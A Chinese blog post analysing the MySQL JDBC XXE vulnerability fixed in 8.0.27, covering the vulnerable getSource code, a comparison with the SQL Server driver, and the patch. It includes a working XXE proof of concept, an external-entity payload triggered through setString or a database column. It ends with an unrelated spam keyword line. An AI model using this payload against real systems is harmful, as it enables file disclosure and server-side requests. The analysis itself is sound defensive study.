<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    MYSQL JDBC XXE漏洞分析

    VSole2021-10-26 09:02:17

    前言

    最近 JDBC爆了一個XXE漏洞,很久沒有分析漏洞了,趁著周末沒事分析下這個漏洞。

    分析

    10月21日,”阿里云應急響應”公眾號發布Oracle Mysql
    JDBC存在XXE漏洞,造成漏洞的原因主要是因為getSource方法未對傳入的XML格式數據進行檢驗。導致攻擊者可構造惡意的XML數據引入外部實體。造成XXE攻擊。

    影響版本: < MySQL JDBC 8.0.27

    漏洞影響版本在8.0.27以下,并且修復的是一個XXE漏洞,所以我們可以在github上對比提交記錄快速找到漏洞點。漏洞主要在MysqlSQLXML中,可以看到新版本在解析XML前加上了一些防御XXE的方法。

    搭建8.0.26環境后,查看MysqlSQLXML#getSource方法,這里為了能看起來更直觀,我忽略了大部分代碼,getSource根據傳入class類型的不同做返回不同的Source,返回其他source并沒有解析XML,但在處理DomSource時,通過builder.parseinputSource的內容進行解析。

    public <T extends Source> T getSource(Class<T> clazz) throws SQLException {
          ...
            if (clazz == null || clazz.equals(SAXSource.class)) {
         ...
                return (T) new SAXSource(inputSource);
            } else if (clazz.equals(DOMSource.class)) {
                try {
                  ...
                    return (T) new DOMSource(builder.parse(inputSource));
                } 
                ...
            } else if (clazz.equals(StreamSource.class)) {
              ...
                return (T) new StreamSource(reader);
            } else if (clazz.equals(StAXSource.class)) {
              ...
                    return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
              ...
    

    我們再看看DOMSource部分的具體實現,并沒有在parse前做防護處理,并且inputSource可以由this.stringRep參數控制。

    try {
                    DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
                    builderFactory.setNamespaceAware(true);
                    DocumentBuilder builder = builderFactory.newDocumentBuilder();
                    InputSource inputSource = null;
                    if (this.fromResultSet) {
                        inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
                    } else {
                        inputSource = new InputSource(new StringReader(this.stringRep));
                    }
                    return (T) new DOMSource(builder.parse(inputSource));
    

    而在setString中為stringRep屬性賦值,所以此處可以造成XXE漏洞。

    public synchronized void setString(String str) throws SQLException {
            checkClosed();
            checkWorkingWithResult();
            this.stringRep = str;
            this.fromResultSet = false;
        }
    

    但是分析到這里就結束了嗎?我認為要真正了解這個漏洞,還需要解決下面的幾個問題:

    • MysqlSQLXML的功能是什么?為什么getSource中會解析XML?為什么只有DomSource會進行parse,其他的沒有?

    • 在什么樣的場景下會調用MysqlSQLXML#getSource

    • 為什么只在MYSQLSQLXML中出現了問題?其他數據庫的SQLXML沒有漏洞嗎?

    思考

    要理清上面的問題,首先我們得了解SQLXML是什么東西,為什么要引入它。

    SQLXML

    在開發的過程中,可能會需要在數據庫中存儲和檢索XML文檔,因此引入了SQLXML類型,SQLXML提供了 String、Reader、Writer 或

    Stream 等多種形式訪問XML值的方法。

    • getBinaryStream 以流的形式獲取此 SQLXML 實例指定的 XML 值。

    • getCharacterStream 以 java.io.Reader 對象的形式獲取此 SQLXML 實例指定的 XML 值。

    • getString 返回此 SQLXML 實例指定的 XML 值的字符串表示形式。

    我們可以通過ResultSet、CallableStatement 、PreparedStatement

    中的getSQLXML方法獲取SQLXML對象。

    SQLXML sqlxml = resultSet.getSQLXML(column);
    InputStream binaryStream = sqlxml.getBinaryStream();
    

    再通過XML解析器解析XML

    DocumentBuilder parser = DocumentBuilderFactory.newInstance().newDocumentBuilder();
    Document result = parser.parse(binaryStream);
    SAXParser parser = SAXParserFactory.newInstance().newSAXParser();
    parser.parse(binaryStream, myHandler);
    

    除了上述的處理方式外,也可以getSourcesetResult直接進行XML處理,而不需要轉換成流并調用解析器解析XML。

    比如直接對DOM Document Node進行操作。

    //獲取Document Node
    DOMSource domSource = sqlxml.getSource(DOMSource.class);
    Document document = (Document) domSource.getNode();
    //設置Document Node
    DOMResult domResult = sqlxml.setResult(DOMResult.class);
    domResult.setNode(myNode);
    

    或者通過sax解析

    SAXSource saxSource = sqlxml.getSource(SAXSource.class);
    XMLReader xmlReader = saxSource.getXMLReader();
    xmlReader.setContentHandler(myHandler);
    xmlReader.parse(saxSource.getInputSource());
    

    為什么DOMSource會出現問題?

    首先我們看下當調用getSource時,不同類型的返回Source的代碼。

    return (T) new SAXSource(inputSource);
    return (T) new DOMSource(builder.parse(inputSource));
    return (T) new StreamSource(reader);
    return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
    

    不同的Source為什么接收的數據類型不相同,這里需要了解不同的解析方式。

    DOM:DOM是以層次結構組織的節點或信息片斷的集合。這個層次結構允許開發人員在樹中尋找特定信息。分析該結構通常 需要加載整個文檔和構造層次結構,然后才能做任何工作
    SAX:SAX是一種 基于流的推分析方式 的XML解析技術,分析能夠立即開始,而不是等待所有的數據被處理, 應用程序不必解析整個文檔 ;
    StAX:StAX就是一種 基于流的拉分析式
    的XML解析技術,只把感興趣的部分拉出,不需要觸發事件。StAX的API可以讀取和寫入XML文檔。使用SAX API,XML可以是只讀的。
    推模型:就是我們常說的SAX,它是一種靠事件驅動的模型。當它每發現一個節點就引發一個事件,而我們需要編寫這些事件的處理程序。這樣的做法很麻煩,且不靈活。
    拉模型 :在遍歷文檔時,會把感興趣的部分從讀取器中拉出,不需要引發事件,允許我們選擇性地處理節點。這大大提e高了靈活性,以及整體效率。

    Dom解析的特性來講,必須一次性將Dom全部加載到內存中才能操作,而不是像其他類型,可以在使用時再去處理,因此在構建DomSource對象時需要先將Dom先整體解析后才能使用。

    如何觸發漏洞?

    之前已經分析過一種方式,直接通過setString設置即可觸發,下面是廣為流傳的POC

    String poc = "<?xml version=\"1.0\" ?>\n" +
                    "<!DOCTYPE r [\n" +
                    "<!ELEMENT r ANY >\n" +
                    "<!ENTITY sp SYSTEM \"http://127.0.0.1:4444/test.txt\">\n" +
                    "]>\n" +
                    "<r>&sp;</r>";
            Connection connection =
                    DriverManager.getConnection("jdbc:mysql://127.0.0.1:3306/test", "root","xxxxx");
            SQLXML sqlxml = connection.createSQLXML();
            sqlxml.setString(poc);
            sqlxml.getSource(DOMSource.class);
    

    雖然上面的方式確實可以觸發漏洞,但是我覺得在真實環境中應該不會有人這么寫, 所以我們應該思考下有沒有其他的方式觸發漏洞?

    我們結合一下SQLXML的使用場景,是在操作數據庫中的XML數據而產生的,所以正常情況下 應該是操作數據庫中的XML數據而導致的XXE漏洞

    。所以我認為下面的POC更符合真實場景,其中DataXML字段中保存著我們的payload

    Connection connection =DriverManager.getConnection("jdbc:mysql://192.168.3.16:3306/test666", "root",
                            "cangqing<>?");
            String sql = "SELECT DataXML from config";
            Statement stmt = connection.createStatement();
            ResultSet rs = stmt.executeQuery(sql);
            rs.next();
            SQLXML xml=rs.getSQLXML("DataXML");
            DOMSource=xml.getSource(DOMSource.class);
    

    是否由其他方式會導致漏洞?

    我們還是看getSource方法,當內容為SAXSource直接將InputSource作為參數傳給了SaxSource,所以從這來看沒有明顯的問題。

    if (clazz == null || clazz.equals(SAXSource.class)) {
                InputSource inputSource = null;
                if (this.fromResultSet) {
                    inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml));
                } else {
                    inputSource = new InputSource(new StringReader(this.stringRep));
                }
                return (T) new SAXSource(inputSource);
    

    這里創建SAXSource并沒有設置XmlReader,因為設置XML解析防御的策略在XmlReader中,所以看不出來是否存在漏洞。

    再看看StAXSource,這里是否會導致漏洞取決于this.inputFactory屬性中保存的XMLInputFactory對象,但是雖然MysqlSQLXML中有inputFactory屬性,但是并沒有設置這個屬性的方法或者操作,而是否在開啟XXE的防御是在XMLInputFactory對象中設置的,所以這里也看不出來是否有漏洞。

    } else if (clazz.equals(StAXSource.class)) {
                try {
                    Reader reader = null;
                    if (this.fromResultSet) {
                        reader = this.owningResultSet.getCharacterStream(this.columnIndexOfXml);
                    } else {
                        reader = new StringReader(this.stringRep);
                    }
                    return (T) new StAXSource(this.inputFactory.createXMLStreamReader(reader));
                } catch (XMLStreamException ex) {
                    SQLException sqlEx = SQLError.createSQLException(ex.getMessage(), MysqlErrorNumbers.SQL_STATE_ILLEGAL_ARGUMENT, ex, this.exceptionInterceptor);
                    throw sqlEx;
                }
    

    為什么SQLSERVER和ORACLE的數據庫連接沒問題?

    mssql-jdbc

    首先看mssql- jdbc是怎么處理的,主要邏輯在SQLServerSQLXML#getSource中,判斷類型是否為SteamSource,如果不是則調用getSourceInternal處理。getSourceInternal根據不同的類型調用不同的處理方法。

    public <T extends Source> T getSource(Class<T> iface) throws SQLException {
            this.checkClosed();
            this.checkReadXML();
            if (null == iface) {
                T src = this.getSourceInternal(StreamSource.class);
                return src;
            } else {
                return this.getSourceInternal(iface);
            }
        }
        <T extends Source> T getSourceInternal(Class<T> iface) throws SQLException {
            this.isUsed = true;
            T src = null;
            if (DOMSource.class == iface) {
                src = (Source)iface.cast(this.getDOMSource());
            } else if (SAXSource.class == iface) {
                src = (Source)iface.cast(this.getSAXSource());
            } else if (StAXSource.class == iface) {
                src = (Source)iface.cast(this.getStAXSource());
            } else if (StreamSource.class == iface) {
                src = (Source)iface.cast(new StreamSource(this.contents));
            } else {
                SQLServerException.makeFromDriverError(this.con, (Object)null, SQLServerException.getErrString("R_notSupported"), (String)null, true);
            }
            return src;
        }
    
    getDOMSource

    這里確實也會解析Document,但是在解析前設置了secure-processing,這里應該是防御了XXE漏洞。

    private DOMSource getDOMSource() throws SQLException {
            Document document = null;
            DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
            MessageFormat form;
            Object[] msgArgs;
            try {
                factory.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
                DocumentBuilder builder = factory.newDocumentBuilder();
                builder.setEntityResolver(new SQLServerEntityResolver());
                try {
                    document = builder.parse(this.contents);
    ...
                DOMSource inputSource = new DOMSource(document);
                return inputSource;
            ...
        }
    

    getSAXSource

    getSAXSource在創建SAXParserFactory后并沒有設置屬性來進行安全操作,因此這種方式可能會存在漏洞。

    private SAXSource getSAXSource() throws SQLException {
            try {
                InputSource src = new InputSource(contents);
                SAXParserFactory factory = SAXParserFactory.newInstance();
                SAXParser parser = factory.newSAXParser();
                XMLReader reader = parser.getXMLReader();
                SAXSource saxSource = new SAXSource(reader, src);
                return saxSource;
            } catch (SAXException | ParserConfigurationException e) {
                MessageFormat form = new MessageFormat(SQLServerException.getErrString("R_failedToParseXML"));
                Object[] msgArgs = {e.toString()};
                SQLServerException.makeFromDriverError(con, null, form.format(msgArgs), null, true);
            }
            return null;
        }
    

    雖然單純從getSAXSource函數中并沒有直接解析,但是用戶在使用下面的代碼時,則默認可能會導致XXE漏洞。

    SQLXML xmlVal= rs.getSQLXML(1);
    SAXSource saxSource = sqlxml.getSource(SAXSource.class);
    XMLReader xmlReader = saxSource.getXMLReader();
    xmlReader.setContentHandler(myHandler);
    xmlReader.parse(saxSource.getInputSource());
    

    雖然看起來是有問題的,但當我通過SQLSERVER創建XML類型數據并插入payload時,卻爆了不允許使用內部子集 DTD 分析 XML。請將 CONVERT 與樣式選項 2 一起使用,以啟用有限的內部子集 DTD 支持。在SQLSERVER插入XML類型數據時中不允許使用DTD,所以無法插入惡意的payload。所以

    后面的解析方式也可以不看了,無法造成XXE漏洞 。

    oracle-ojdbc

    查了下資料似乎沒有找到關于SQLXML的支持,所以自然也不存在漏洞。

    漏洞修復

    mysql jdbc 8.0.27修復了該漏洞,修復方式如下:

    DOMSource

    DOMSource解析前加上了開啟了防御,所以解決了這個漏洞。

    if (clazz.equals(DOMSource.class)) {
                        try {
                            DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
                            builderFactory.setNamespaceAware(true);
                            setFeature(builderFactory, "http://javax.xml.XMLConstants/feature/secure-processing", true);
                            setFeature(builderFactory, "http://apache.org/xml/features/disallow-doctype-decl", true);
                            setFeature(builderFactory, "http://xml.org/sax/features/external-general-entities", false);
                            setFeature(builderFactory, "http://xml.org/sax/features/external-parameter-entities", false);
                            setFeature(builderFactory, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
                            builderFactory.setXIncludeAware(false);
                            builderFactory.setExpandEntityReferences(false);
                            builderFactory.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");
                            DocumentBuilder builder = builderFactory.newDocumentBuilder();
                            return new DOMSource(builder.parse(this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep))));
                        } catch (Throwable var5) {
                            sqlEx = SQLError.createSQLException(var5.getMessage(), "S1009", var5, this.exceptionInterceptor);
                            throw sqlEx;
                        }
    

    SAXSource

    這里也發生了改變,之前分析8.0.26版本時,并沒有創建XMLReader,所以沒有漏洞,在更新中創建了XmlReader并進行了安全設置。

    try {
                        XMLReader reader = XMLReaderFactory.createXMLReader();
                        reader.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
                        setFeature(reader, "http://apache.org/xml/features/disallow-doctype-decl", true);
                        setFeature(reader, "http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
                        setFeature(reader, "http://xml.org/sax/features/external-general-entities", false);
                        setFeature(reader, "http://xml.org/sax/features/external-parameter-entities", false);
                        return new SAXSource(reader, this.fromResultSet ? new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)) : new InputSource(new StringReader(this.stringRep)));
                    } catch (SAXException var7) {
                        sqlEx = SQLError.createSQLException(var7.getMessage(), "S1009", var7, this.exceptionInterceptor);
                        throw sqlEx;
                    }
    
    xml格式xml解析
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    但是,在處理外部實體時,可以針對應用程序啟動許多攻擊。這些攻擊包括泄露本地系統文件,這些文件可能包含密碼和私人用戶數據等敏感數據,或利用各種方案的網絡訪問功能來操縱內部應用程序。通過將這些攻擊與其他實現缺陷相結合,這些攻擊的范圍可以擴展到客戶端內存損壞,任意代碼執行,甚至服務中斷,具體取決于這些攻擊的上下文。//這一行是 XML 文檔定義
    XXE如何理解? 它是可擴展標記語言 ( XML) 用于存儲和傳輸數據。 通常始于異步JavaScript和XML技術(ajax技術):網頁應用能夠快速地將增量更新呈現在用戶界面上,而不需要重載(刷新)整個頁面。 目前JSON的使用比XML更加普遍JSON和XML都被用于在Ajax模型中的XML技術
    MYSQL JDBC XXE漏洞分析
    2021-10-26 09:02:17
    最近 JDBC爆了一個XXE漏洞,很久沒有分析漏洞了,趁著周末沒事分析下這個漏洞。 分析 10月21日,”阿里云應急響應”公眾號發布Oracle Mysql JDBC存在XXE漏洞,造成漏洞的原因主要是因為getSource方法未對傳入的XML格式數據進行檢驗。導致攻擊者可構造惡意的XML數據引入外部實體。造成XXE攻擊。
    Web Service滲透測試總結
    反序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    本篇文章是WebLogic中間件漏洞復現,記錄了近幾年來爆出的WebLogic中間件漏洞主要分為六個部分:WebLogic簡介、WebLogic安裝、WebLogic漏洞復現、WebLogic SSRF聯動Redis、WebLogic實戰和WebLogic防御措施。
    DOCX 是一種融合可擴展標記語言(Extensible Markup Language,XML)、對象連接與嵌入 (Object Linking and Embedding, OLE) 技術、ZIP 壓縮技術為一體的文檔組織形式, 其格式復雜、應 用廣泛,信息隱藏方式靈活且難以發現。通過研究 DOCX 文檔,解析文檔結構,提出在此類文檔中 進行信息隱藏的可能性,并有針對性的設計了基于關聯對象隱
    近日,國家信息安全漏洞庫(CNNVD)收到關于微信支付SDK XXE(XML External Entity)漏洞(CNNVD-201807-083)情況的報送。成功利用該漏洞的攻擊者可以遠程讀取服務器文件,獲取商戶服務器上的隱私數據,甚至可以支付任意金額購買商品。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类